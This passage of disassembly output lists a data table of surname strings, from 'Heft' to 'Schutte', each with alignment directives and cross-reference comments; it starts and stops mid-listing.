'Heft',0 align 4 aHeiland db 'Heiland',0 aHellman db 'Hellman',0 aHellmiss db 'Hellmiss',0 align 4 aHelprin db 'Helprin',0 aHemphill db 'Hemphill',0 align 4 aHenery db 'Henery',0 align 10h aHenrichs db 'Henrichs',0 align 4 aHernandez db 'Hernandez',0 align 4 aHerrera db 'Herrera',0 ; DATA XREF: .data:0043E360o aHester db 'Hester',0 ; DATA XREF: .data:0043E364o align 4 aHeubert db 'Heubert',0 aHeyeck db 'Heyeck',0 ; DATA XREF: .data:0043E36Co align 4 aHimmelfarb db 'Himmelfarb',0 align 4 aHind db 'Hind',0 align 4 aHirst db 'Hirst',0 align 4 aHitchcock db 'Hitchcock',0 align 10h aHoang db 'Hoang',0 align 4 aHock db 'Hock',0 align 10h aHoffer db 'Hoffer',0 align 4 aHoffman db 'Hoffman',0 aHokanson db 'Hokanson',0 align 4 aHokoda db 'Hokoda',0 align 4 aHolmes db 'Holmes',0 align 4 aHoloien db 'Holoien',0 aHolter db 'Holter',0 align 4 aHolway db 'Holway',0 align 4 aHolzman db 'Holzman',0 aHooker db 'Hooker',0 align 4 aHopkins db 'Hopkins',0 aHorsley db 'Horsley',0 aHoshida db 'Hoshida',0 aHostage db 'Hostage',0 aHottle db 'Hottle',0 align 4 aHoward db 'Howard',0 align 4 aHoy db 'Hoy',0 aHuey db 'Huey',0 align 10h aHuidekoper db 'Huidekoper',0 align 4 aHungerford db 'Hungerford',0 align 4 aHuntington db 'Huntington',0 align 4 aHupp db 'Hupp',0 align 4 aHurtubise db 'Hurtubise',0 align 4 aHutchings db 'Hutchings',0 ; DATA XREF: .data:0043E3E4o align 4 aHyde db 'Hyde',0 ; DATA XREF: .data:0043E3E8o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: .data:0043E3ECo align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: .data:0043E3F0o align 4 aIgarashi db 'Igarashi',0 ; DATA XREF: .data:0043E3F4o align 10h aInamura db 'Inamura',0 ; DATA XREF: .data:0043E3F8o aInniss db 'Inniss',0 ; DATA XREF: .data:0043E3FCo align 10h aIsaac db 'Isaac',0 ; DATA XREF: .data:0043E400o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: .data:0043E404o align 4 aIsbill db 'Isbill',0 ; DATA XREF: .data:0043E408o align 4 aIsserman db 'Isserman',0 ; DATA XREF: .data:0043E40Co align 4 aIyer db 'Iyer',0 ; DATA XREF: .data:0043E410o align 10h aJacenko db 'Jacenko',0 ; DATA XREF: .data:0043E414o aJackson db 'Jackson',0 ; DATA XREF: .data:0043E418o aJagers db 'Jagers',0 ; DATA XREF: .data:0043E41Co align 4 aJagger db 'Jagger',0 ; DATA XREF: .data:0043E420o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: .data:0043E424o align 4 aJain db 'Jain',0 ; DATA XREF: .data:0043E428o align 10h aJamil db 'Jamil',0 ; DATA XREF: .data:0043E42Co align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: .data:0043E430o align 4 aJarnagin db 'Jarnagin',0 ; DATA XREF: .data:0043E434o align 10h aJarrell db 'Jarrell',0 ; DATA XREF: .data:0043E438o aJay db 'Jay',0 ; DATA XREF: .data:0043E43Co aJeffers db 'Jeffers',0 ; DATA XREF: .data:0043E440o aJellis db 'Jellis',0 ; DATA XREF: .data:0043E444o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: .data:0043E448o aJespersen db 'Jespersen',0 ; DATA XREF: .data:0043E44Co align 10h aJewett db 'Jewett',0 ; DATA XREF: .data:0043E450o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: .data:0043E454o aJohannsen db 'Johannsen',0 align 10h aJohns db 'Johns',0 align 4 aJolly db 'Jolly',0 align 10h aJorgensen db 'Jorgensen',0 align 4 aJucks db 'Jucks',0 align 4 aJuliano db 'Juliano',0 aJulious db 'Julious',0 aKabbash db 'Kabbash',0 aKaboolian db 'Kaboolian',0 align 4 aKafadar db 'Kafadar',0 aKalbfleisch db 'Kalbfleisch',0 aKaligian db 'Kaligian',0 align 4 aKalil db 'Kalil',0 align 10h aKalinowski db 'Kalinowski',0 align 4 aKalman db 'Kalman',0 align 4 aKamel db 'Kamel',0 align 4 aKangis db 'Kangis',0 align 4 aKarpouzes db 'Karpouzes',0 align 10h aKassower db 'Kassower',0 align 4 aKasten db 'Kasten',0 align 4 aKawachi db 'Kawachi',0 aKee db 'Kee',0 aKeenan db 'Keenan',0 align 4 aKeepper db 'Keepper',0 aKeith db 'Keith',0 ; DATA XREF: .data:0043E4B8o align 4 aKelker db 'Kelker',0 ; DATA XREF: .data:0043E4BCo align 10h aKelsey db 'Kelsey',0 ; DATA XREF: .data:0043E4C0o align 4 aKempton db 'Kempton',0 ; DATA XREF: .data:0043E4C4o aKemsley db 'Kemsley',0 ; DATA XREF: .data:0043E4C8o aKendall db 'Kendall',0 ; DATA XREF: .data:0043E4CCo aKerry db 'Kerry',0 ; DATA XREF: .data:0043E4D0o align 4 aKeul db 'Keul',0 ; DATA XREF: .data:0043E4D4o align 10h aKhong db 'Khong',0 ; DATA XREF: .data:0043E4D8o align 4 aKimmel db 'Kimmel',0 ; DATA XREF: .data:0043E4DCo align 10h aKimmett db 'Kimmett',0 ; DATA XREF: .data:0043E4E0o aKimura db 'Kimura',0 ; DATA XREF: .data:0043E4E4o align 10h aKindall db 'Kindall',0 ; DATA XREF: .data:0043E4E8o aKinsley db 'Kinsley',0 ; DATA XREF: .data:0043E4ECo aKippenberger db 'Kippenberger',0 ; DATA XREF: .data:0043E4F0o align 10h aKirscht db 'Kirscht',0 ; DATA XREF: .data:0043E4F4o aKittridge db 'Kittridge',0 ; DATA XREF: .data:0043E4F8o align 4 aKleckner db 'Kleckner',0 ; DATA XREF: .data:0043E4FCo align 10h aKleiman db 'Kleiman',0 ; DATA XREF: .data:0043E500o aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .data:0043E504o aKlemperer db 'Klemperer',0 ; DATA XREF: .data:0043E508o align 10h aKling db 'Kling',0 ; DATA XREF: .data:0043E50Co align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .data:0043E510o aKlint db 'Klint',0 ; DATA XREF: .data:0043E514o align 4 aKnuff db 'Knuff',0 ; DATA XREF: .data:0043E518o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: .data:0043E51Co aKoch db 'Koch',0 ; DATA XREF: .data:0043E520o align 4 aKohn db 'Kohn',0 ; DATA XREF: .data:0043E524o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: .data:0043E528o align 4 aKommer db 'Kommer',0 ; DATA XREF: .data:0043E52Co align 10h aKoniaris db 'Koniaris',0 ; DATA XREF: .data:0043E530o align 4 aKonrad db 'Konrad',0 ; DATA XREF: .data:0043E534o align 4 aKool db 'Kool',0 ; DATA XREF: .data:0043E538o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: .data:0043E53Co align 4 aKotter db 'Kotter',0 ; DATA XREF: .data:0043E540o align 10h aKovaks db 'Kovaks',0 ; DATA XREF: .data:0043E544o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: .data:0043E548o aKrailo db 'Krailo',0 ; DATA XREF: .data:0043E54Co align 4 aKrasney db 'Krasney',0 ; DATA XREF: .data:0043E550o aKraus db 'Kraus',0 ; DATA XREF: .data:0043E554o align 4 aKroemer db 'Kroemer',0 ; DATA XREF: .data:0043E558o aKrysiak db 'Krysiak',0 ; DATA XREF: .data:0043E55Co aKuenzli db 'Kuenzli',0 ; DATA XREF: .data:0043E560o aKumar db 'Kumar',0 ; DATA XREF: .data:0043E564o align 4 aKusman db 'Kusman',0 ; DATA XREF: .data:0043E568o align 10h aKuwabara db 'Kuwabara',0 ; DATA XREF: .data:0043E56Co align 4 aLa db 'La',0 ; DATA XREF: .data:0043E570o align 10h aLabunka db 'Labunka',0 ; DATA XREF: .data:0043E574o aLafler db 'Lafler',0 ; DATA XREF: .data:0043E578o align 10h aLaing db 'Laing',0 ; DATA XREF: .data:0043E57Co align 4 aLallemant db 'Lallemant',0 ; DATA XREF: .data:0043E580o align 4 aLandes db 'Landes',0 ; DATA XREF: .data:0043E584o align 4 aLankes db 'Lankes',0 ; DATA XREF: .data:0043E588o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: .data:0043E58Co align 10h aLanzit db 'Lanzit',0 ; DATA XREF: .data:0043E590o align 4 aLaserna db 'Laserna',0 ; DATA XREF: .data:0043E594o aLashley db 'Lashley',0 ; DATA XREF: .data:0043E598o aLawless db 'Lawless',0 ; DATA XREF: .data:0043E59Co aLecar db 'Lecar',0 ; DATA XREF: .data:0043E5A0o align 4 aLecce db 'Lecce',0 ; DATA XREF: .data:0043E5A4o align 10h aLeclercq db 'Leclercq',0 ; DATA XREF: .data:0043E5A8o align 4 aLeite db 'Leite',0 ; DATA XREF: .data:0043E5ACo align 4 aLenard db 'Lenard',0 ; DATA XREF: .data:0043E5B0o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .data:0043E5B4o align 4 aLesser db 'Lesser',0 ; DATA XREF: .data:0043E5B8o align 10h aLessi db 'Lessi',0 ; DATA XREF: .data:0043E5BCo align 4 aLiakos db 'Liakos',0 ; DATA XREF: .data:0043E5C0o align 10h aLidano db 'Lidano',0 ; DATA XREF: .data:0043E5C4o align 4 aLiem db 'Liem',0 ; DATA XREF: .data:0043E5C8o align 10h aLight db 'Light',0 ; DATA XREF: .data:0043E5CCo align 4 aLightfoot db 'Lightfoot',0 ; DATA XREF: .data:0043E5D0o align 4 aLim db 'Lim',0 ; DATA XREF: .data:0043E5D4o aLinares db 'Linares',0 ; DATA XREF: .data:0043E5D8o aLinda db 'Linda',0 ; DATA XREF: .data:0043E5DCo align 4 aLinder db 'Linder',0 ; DATA XREF: .data:0043E5E0o align 10h aLine_0 db 'Line',0 ; DATA XREF: .data:0043E5E4o align 4 aLinehan db 'Linehan',0 ; DATA XREF: .data:0043E5E8o aLinzee db 'Linzee',0 ; DATA XREF: .data:0043E5ECo align 4 aLippmann db 'Lippmann',0 ; DATA XREF: .data:0043E5F0o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: .data:0043E5F4o align 10h aLittle db 'Little',0 ; DATA XREF: .data:0043E5F8o align 4 aLitvak db 'Litvak',0 ; DATA XREF: .data:0043E5FCo align 10h aLivernash db 'Livernash',0 ; DATA XREF: .data:0043E600o align 4 aLivi db 'Livi',0 ; DATA XREF: .data:0043E604o align 4 aLivolsi db 'Livolsi',0 ; DATA XREF: .data:0043E608o aLizardo db 'Lizardo',0 ; DATA XREF: .data:0043E60Co aLocatelli db 'Locatelli',0 ; DATA XREF: .data:0043E610o align 10h aLongworth db 'Longworth',0 ; DATA XREF: .data:0043E614o align 4 aLoss db 'Loss',0 ; DATA XREF: .data:0043E618o align 4 aLoveman db 'Loveman',0 ; DATA XREF: .data:0043E61Co aLowenstein db 'Lowenstein',0 ; DATA XREF: .data:0043E620o align 4 aLoza db 'Loza',0 ; DATA XREF: .data:0043E624o align 10h aLubin db 'Lubin',0 ; DATA XREF: .data:0043E628o align 4 aLucas db 'Lucas',0 ; DATA XREF: .data:0043E62Co align 10h aLuciano db 'Luciano',0 ; DATA XREF: .data:0043E630o aLuczkow db 'Luczkow',0 ; DATA XREF: .data:0043E634o aLuecke db 'Luecke',0 ; DATA XREF: .data:0043E638o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: .data:0043E63Co aLuoma db 'Luoma',0 ; DATA XREF: .data:0043E640o align 4 aLussier db 'Lussier',0 ; DATA XREF: .data:0043E644o aLutcavage db 'Lutcavage',0 ; DATA XREF: .data:0043E648o align 4 aLuzader db 'Luzader',0 ; DATA XREF: .data:0043E64Co aMa db 'Ma',0 ; DATA XREF: .data:0043E650o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: .data:0043E654o align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: .data:0043E658o align 10h aMaceachern db 'Maceachern',0 ; DATA XREF: .data:0043E65Co align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: .data:0043E660o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: .data:0043E664o align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: .data:0043E668o align 10h aMacy db 'Macy',0 ; DATA XREF: .data:0043E66Co align 4 aMadigan db 'Madigan',0 ; DATA XREF: .data:0043E670o aMaggio db 'Maggio',0 ; DATA XREF: .data:0043E674o align 4 aMahony db 'Mahony',0 ; DATA XREF: .data:0043E678o align 10h aMaier db 'Maier',0 ; DATA XREF: .data:0043E67Co align 4 aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .data:0043E680o align 4 aMaisano db 'Maisano',0 ; DATA XREF: .data:0043E684o aMalatesta db 'Malatesta',0 ; DATA XREF: .data:0043E688o align 4 aMaller db 'Maller',0 align 4 aMalova db 'Malova',0 align 4 aManalis db 'Manalis',0 aMandel db 'Mandel',0 align 4 aManganiello db 'Manganiello',0 aMantovan db 'Mantovan',0 align 4 aMarch_0 db 'March',0 ; DATA XREF: .data:0043E6A4o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: .data:0043E6A8o align 4 aMarcus db 'Marcus',0 align 10h aMargalit db 'Margalit',0 align 4 aMargetts db 'Margetts',0 ; DATA XREF: .data:0043E6B4o align 4 aMarques db 'Marques',0 ; DATA XREF: .data:0043E6B8o aMartinez db 'Martinez',0 align 4 aMartochio db 'Martochio',0 align 4 aMarton db 'Marton',0 align 10h aMarubini db 'Marubini',0 align 4 aMass db 'Mass',0 align 4 aMatalka db 'Matalka',0 aMatarazzo db 'Matarazzo',0 align 4 aMatsukata db 'Matsukata',0 align 4 aMattson db 'Mattson',0 aMauzy db 'Mauzy',0 align 4 aMay_0 db 'May',0 aMazzali db 'Mazzali',0 ; DATA XREF: .data:0043E6E8o aMazziotta db 'Mazziotta',0 ; DATA XREF: .data:0043E6ECo align 4 aMcbride db 'Mcbride',0 aMccaffery db 'Mccaffery',0 align 10h aMccall db 'Mccall',0 align 4 aMcclearn db 'Mcclearn',0 align 4 aMcdowell db 'Mcdowell',0 align 10h aMcelroy db 'Mcelroy',0 aMcfadden db 'McFadden',0 align 4 aMcghee db 'Mcghee',0 align 4 aMcgoldrick db 'Mcgoldrick',0 align 4 aMcilroy db 'McIlroy',0 aMcintosh db 'Mcintosh',0 align 4 aMckenna db 'Mckenna',0 aMclane db 'Mclane',0 align 4 aMclaren db 'Mclaren',0 aMcnealy db 'Mcnealy',0 aMcnulty db 'Mcnulty',0 aMeccariello db 'Meccariello',0 aMemisoglu db 'Memisoglu',0 align 4 aMenzies db 'Menzies',0 aMerikoski db 'Merikoski',0 align 10h aMerlani db 'Merlani',0 aMerminod db 'Merminod',0 align 4 aMerseth db 'Merseth',0 aMerz db 'Merz',0 align 4 aMetelka db 'Metelka',0 aMetropolis db 'Metropolis',0 align 4 aMeurer db 'Meurer',0 align 10h aMichelman db 'Michelman',0 ; DATA XREF: .data:0043E75Co align 4 aMiddle db 'Middle',0 ; DATA XREF: .data:0043E760o align 4 aMieher db 'Mieher',0 ; DATA XREF: .data:0043E764o align 4 aMills db 'Mills',0 ; DATA XREF: .data:0043E768o align 4 aMinh db 'Minh',0 ; DATA XREF: .data:0043E76Co align 4 aMini db 'Mini',0 ; DATA XREF: .data:0043E770o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: .data:0043E774o aGonzalez db 'Gonzalez',0 ; DATA XREF: .data:0043E778o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .data:0043E77Co aMittal db 'Mittal',0 ; DATA XREF: .data:0043E780o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: .data:0043E784o aModestino db 'Modestino',0 ; DATA XREF: .data:0043E788o align 4 aMoeller db 'Moeller',0 ; DATA XREF: .data:0043E78Co aMohr db 'Mohr',0 ; DATA XREF: .data:0043E790o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: .data:0043E794o align 10h aMonque db 'Monque',0 ; DATA XREF: .data:0043E798o align 4 aMontilio db 'Montilio',0 ; DATA XREF: .data:0043E79Co align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .data:0043E7A0o align 10h aMorani db 'Morani',0 ; DATA XREF: .data:0043E7A4o align 4 aMoreton db 'Moreton',0 ; DATA XREF: .data:0043E7A8o aMorrison db 'Morrison',0 ; DATA XREF: .data:0043E7ACo align 4 aMorrow db 'Morrow',0 ; DATA XREF: .data:0043E7B0o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: .data:0043E7B4o align 10h aMosher db 'Mosher',0 ; DATA XREF: .data:0043E7B8o align 4 aMosler db 'Mosler',0 ; DATA XREF: .data:0043E7BCo align 10h aMostafavi db 'Mostafavi',0 ; DATA XREF: .data:0043E7C0o align 4 aMotooka db 'Motooka',0 ; DATA XREF: .data:0043E7C4o aMudarri db 'Mudarri',0 ; DATA XREF: .data:0043E7C8o aMuello db 'Muello',0 ; DATA XREF: .data:0043E7CCo align 4 aMugnai db 'Mugnai',0 ; DATA XREF: .data:0043E7D0o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: .data:0043E7D4o aMulroy db 'Mulroy',0 ; DATA XREF: .data:0043E7D8o align 4 aMumford db 'Mumford',0 ; DATA XREF: .data:0043E7DCo aMussachio db 'Mussachio',0 ; DATA XREF: .data:0043E7E0o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: .data:0043E7E4o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: .data:0043E7E8o align 4 aNardi db 'Nardi',0 ; DATA XREF: .data:0043E7ECo align 4 aNardone db 'Nardone',0 ; DATA XREF: .data:0043E7F0o aNaviaux db 'Naviaux',0 ; DATA XREF: .data:0043E7F4o aNayduch db 'Nayduch',0 ; DATA XREF: .data:0043E7F8o aNelson db 'Nelson',0 ; DATA XREF: .data:0043E7FCo align 4 aNenna db 'Nenna',0 ; DATA XREF: .data:0043E800o align 4 aNesci db 'Nesci',0 ; DATA XREF: .data:0043E804o align 4 aNeuman db 'Neuman',0 ; DATA XREF: .data:0043E808o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: .data:0043E80Co aNewlin db 'Newlin',0 ; DATA XREF: .data:0043E810o align 4 aNg db 'Ng',0 ; DATA XREF: .data:0043E814o align 4 aNi_0 db 'Ni',0 ; DATA XREF: .data:0043E818o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: .data:0043E81Co align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: .data:0043E820o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: .data:0043E824o align 10h aNitabach db 'Nitabach',0 ; DATA XREF: .data:0043E828o align 4 aNotman db 'Notman',0 ; DATA XREF: .data:0043E82Co align 4 aNuzum db 'Nuzum',0 ; DATA XREF: .data:0043E830o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: .data:0043E834o aOgata db 'Ogata',0 ; DATA XREF: .data:0043E838o align 4 aOh db 'Oh',0 ; DATA XREF: .data:0043E83Co align 10h aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .data:0043E840o aOldford db 'Oldford',0 ; DATA XREF: .data:0043E844o aOlsen db 'Olsen',0 ; DATA XREF: .data:0043E848o align 4 aOlson db 'Olson',0 ; DATA XREF: .data:0043E84Co align 10h aOlszewski db 'Olszewski',0 ; DATA XREF: .data:0043E850o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: .data:0043E854o align 4 aOman db 'Oman',0 ; DATA XREF: .data:0043E858o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: .data:0043E85Co aOpel db 'Opel',0 ; DATA XREF: .data:0043E860o align 10h aOray db 'Oray',0 ; DATA XREF: .data:0043E864o align 4 aOrfield db 'Orfield',0 ; DATA XREF: .data:0043E868o aOrsi db 'Orsi',0 ; DATA XREF: .data:0043E86Co align 4 aOspina db 'Ospina',0 ; DATA XREF: .data:0043E870o align 10h aOstrowski db 'Ostrowski',0 ; DATA XREF: .data:0043E874o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: .data:0043E878o align 4 aOtten db 'Otten',0 ; DATA XREF: .data:0043E87Co align 10h aOuchida db 'Ouchida',0 ; DATA XREF: .data:0043E880o aOvid db 'Ovid',0 ; DATA XREF: .data:0043E884o align 10h aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .data:0043E888o align 10h aPaine db 'Paine',0 ; DATA XREF: .data:0043E88Co align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: .data:0043E890o align 4 aPalepu db 'Palepu',0 ; DATA XREF: .data:0043E894o align 4 aPallara db 'Pallara',0 ; DATA XREF: .data:0043E898o aPalmitesta db 'Palmitesta',0 ; DATA XREF: .data:0043E89Co align 10h aPanadero db 'Panadero',0 ; DATA XREF: .data:0043E8A0o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: .data:0043E8A4o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: .data:0043E8A8o align 4 aPaoletti db 'Paoletti',0 ; DATA XREF: .data:0043E8ACo align 10h aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .data:0043E8B0o aParris db 'Parris',0 ; DATA XREF: .data:0043E8B4o align 4 aPartridge db 'Partridge',0 ; DATA XREF: .data:0043E8B8o align 10h aPascucci db 'Pascucci',0 ; DATA XREF: .data:0043E8BCo align 4 aPatefield db 'Patefield',0 ; DATA XREF: .data:0043E8C0o align 4 aPatrick db 'Patrick',0 ; DATA XREF: .data:0043E8C4o aPattullo db 'Pattullo',0 ; DATA XREF: .data:0043E8C8o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: .data:0043E8CCo aPavlon db 'Pavlon',0 ; DATA XREF: .data:0043E8D0o align 4 aPawloski db 'Pawloski',0 ; DATA XREF: .data:0043E8D4o align 4 aPaynter db 'Paynter',0 ; DATA XREF: .data:0043E8D8o aPeabody db 'Peabody',0 ; DATA XREF: .data:0043E8DCo aPearlberg db 'Pearlberg',0 ; DATA XREF: .data:0043E8E0o align 4 aPederson db 'Pederson',0 ; DATA XREF: .data:0043E8E4o align 10h aPeishel db 'Peishel',0 ; DATA XREF: .data:0043E8E8o aPenny db 'Penny',0 ; DATA XREF: .data:0043E8ECo align 10h aPereira db 'Pereira',0 ; DATA XREF: .data:0043E8F0o aPerko db 'Perko',0 ; DATA XREF: .data:0043E8F4o align 10h aPerlak db 'Perlak',0 ; DATA XREF: .data:0043E8F8o align 4 aPerlman db 'Perlman',0 ; DATA XREF: .data:0043E8FCo aPerna db 'Perna',0 ; DATA XREF: .data:0043E900o align 4 aPerone db 'Perone',0 ; DATA XREF: .data:0043E904o align 10h aPerrimon db 'Perrimon',0 ; DATA XREF: .data:0043E908o align 4 aPeters db 'Peters',0 ; DATA XREF: .data:0043E90Co align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: .data:0043E910o align 10h aPettibone db 'Pettibone',0 ; DATA XREF: .data:0043E914o align 4 aPettit db 'Pettit',0 ; DATA XREF: .data:0043E918o align 4 aPfister db 'Pfister',0 ; DATA XREF: .data:0043E91Co aPilbeam db 'Pilbeam',0 ; DATA XREF: .data:0043E920o aPinot db 'Pinot',0 ; DATA XREF: .data:0043E924o align 4 aPlancon db 'Plancon',0 ; DATA XREF: .data:0043E928o aPlant db 'Plant',0 ; DATA XREF: .data:0043E92Co align 4 aPlasket db 'Plasket',0 ; DATA XREF: .data:0043E930o aPlous db 'Plous',0 ; DATA XREF: .data:0043E934o align 4 aPo db 'Po',0 ; DATA XREF: .data:0043E938o align 10h aPocobene db 'Pocobene',0 ; DATA XREF: .data:0043E93Co align 4 aPoincaire db 'Poincaire',0 ; DATA XREF: .data:0043E940o align 4 aPointer db 'Pointer',0 ; DATA XREF: .data:0043E944o aPoirier db 'Poirier',0 ; DATA XREF: .data:0043E948o aPolak db 'Polak',0 ; DATA XREF: .data:0043E94Co align 10h aPolanyi db 'Polanyi',0 ; DATA XREF: .data:0043E950o aPolitis db 'Politis',0 ; DATA XREF: .data:0043E954o aPoma db 'Poma',0 ; DATA XREF: .data:0043E958o align 4 aPoolman db 'Poolman',0 ; DATA XREF: .data:0043E95Co aPowers db 'Powers',0 ; DATA XREF: .data:0043E960o align 4 aPresper db 'Presper',0 ; DATA XREF: .data:0043E964o aPreucel db 'Preucel',0 ; DATA XREF: .data:0043E968o aPrevost db 'Prevost',0 ; DATA XREF: .data:0043E96Co aPritchard db 'Pritchard',0 ; DATA XREF: .data:0043E970o align 4 aPritz db 'Pritz',0 ; DATA XREF: .data:0043E974o align 4 aProietti db 'Proietti',0 ; DATA XREF: .data:0043E978o align 10h aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .data:0043E97Co align 10h aPuccia db 'Puccia',0 ; DATA XREF: .data:0043E980o align 4 aPugh db 'Pugh',0 ; DATA XREF: .data:0043E984o align 10h aPynchon db 'Pynchon',0 ; DATA XREF: .data:0043E988o aQuaday db 'Quaday',0 ; DATA XREF: .data:0043E98Co align 10h aQuetin db 'Quetin',0 ; DATA XREF: .data:0043E990o align 4 aRabe db 'Rabe',0 ; DATA XREF: .data:0043E994o align 10h aRabkin db 'Rabkin',0 ; DATA XREF: .data:0043E998o align 4 aRadeke db 'Radeke',0 ; DATA XREF: .data:0043E99Co align 10h aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .data:0043E9A0o aRaney db 'Raney',0 ; DATA XREF: .data:0043E9A4o align 4 aRangan db 'Rangan',0 ; DATA XREF: .data:0043E9A8o align 4 aRankin db 'Rankin',0 ; DATA XREF: .data:0043E9ACo align 4 aRapple db 'Rapple',0 ; DATA XREF: .data:0043E9B0o align 4 aRayport db 'Rayport',0 ; DATA XREF: .data:0043E9B4o aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .data:0043E9B8o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: .data:0043E9BCo align 10h aCunningham db 'Cunningham',0 ; DATA XREF: .data:0043E9C0o align 4 aReinold db 'Reinold',0 ; DATA XREF: .data:0043E9C4o aRemak db 'Remak',0 ; DATA XREF: .data:0043E9C8o align 4 aRenick db 'Renick',0 ; DATA XREF: .data:0043E9CCo align 4 aRepetto db 'Repetto',0 ; DATA XREF: .data:0043E9D0o aResnik db 'Resnik',0 ; DATA XREF: .data:0043E9D4o align 4 aRhea db 'Rhea',0 ; DATA XREF: .data:0043E9D8o align 4 aRichmond db 'Richmond',0 ; DATA XREF: .data:0043E9DCo align 4 aRielly db 'Rielly',0 ; DATA XREF: .data:0043E9E0o align 10h aRindos db 'Rindos',0 ; DATA XREF: .data:0043E9E4o align 4 aRineer db 'Rineer',0 ; DATA XREF: .data:0043E9E8o align 10h aRish db 'Rish',0 ; DATA XREF: .data:0043E9ECo align 4 aRivera db 'Rivera',0 ; DATA XREF: .data:0043E9F0o align 10h aRobinson db 'Robinson',0 ; DATA XREF: .data:0043E9F4o align 4 aRocha db 'Rocha',0 ; DATA XREF: .data:0043E9F8o align 4 aRoesler db 'Roesler',0 ; DATA XREF: .data:0043E9FCo aRogers db 'Rogers',0 ; DATA XREF: .data:0043EA00o align 4 aRonen db 'Ronen',0 ; DATA XREF: .data:0043EA04o align 4 aRow db 'Row',0 ; DATA XREF: .data:0043EA08o aRoyal db 'Royal',0 ; DATA XREF: .data:0043EA0Co align 4 aRu db 'Ru',0 ; DATA XREF: .data:0043EA10o align 4 aRuan db 'Ruan',0 ; DATA XREF: .data:0043EA14o align 4 aRuderman db 'Ruderman',0 ; DATA XREF: .data:0043EA18o align 10h aRuescher db 'Ruescher',0 ; DATA XREF: .data:0043EA1Co align 4 aRush db 'Rush',0 ; DATA XREF: .data:0043EA20o align 4 aRyu db 'Ryu',0 ; DATA XREF: .data:0043EA24o aSabatello db 'Sabatello',0 ; DATA XREF: .data:0043EA28o align 4 aSadler db 'Sadler',0 ; DATA XREF: .data:0043EA2Co align 4 aSafire db 'Safire',0 ; DATA XREF: .data:0043EA30o align 4 aSahu db 'Sahu',0 ; DATA XREF: .data:0043EA34o align 4 aSali db 'Sali',0 ; DATA XREF: .data:0043EA38o align 4 aSamson db 'Samson',0 ; DATA XREF: .data:0043EA3Co align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .data:0043EA40o aSanna db 'Sanna',0 ; DATA XREF: .data:0043EA44o align 4 aSapers db 'Sapers',0 ; DATA XREF: .data:0043EA48o align 4 aSarin db 'Sarin',0 ; DATA XREF: .data:0043EA4Co align 4 aSartore db 'Sartore',0 ; DATA XREF: .data:0043EA50o aSase db 'Sase',0 ; DATA XREF: .data:0043EA54o align 4 aSatin db 'Satin',0 ; DATA XREF: .data:0043EA58o align 4 aSatta db 'Satta',0 ; DATA XREF: .data:0043EA5Co align 4 aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .data:0043EA60o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: .data:0043EA64o aSayied db 'Sayied',0 ; DATA XREF: .data:0043EA68o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: .data:0043EA6Co align 10h aScepan db 'Scepan',0 ; DATA XREF: .data:0043EA70o align 4 aScharf db 'Scharf',0 ; DATA XREF: .data:0043EA74o align 10h aScharlemann db 'Scharlemann',0 ; DATA XREF: .data:0043EA78o aScheiner db 'Scheiner',0 ; DATA XREF: .data:0043EA7Co align 4 aSchiano db 'Schiano',0 ; DATA XREF: .data:0043EA80o aSchifini db 'Schifini',0 ; DATA XREF: .data:0043EA84o align 4 aSchilling db 'Schilling',0 ; DATA XREF: .data:0043EA88o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: .data:0043EA8Co aSchossberger db 'Schossberger',0 ; DATA XREF: .data:0043EA90o align 10h aSchuman db 'Schuman',0 ; DATA XREF: .data:0043EA94o aSchutte db 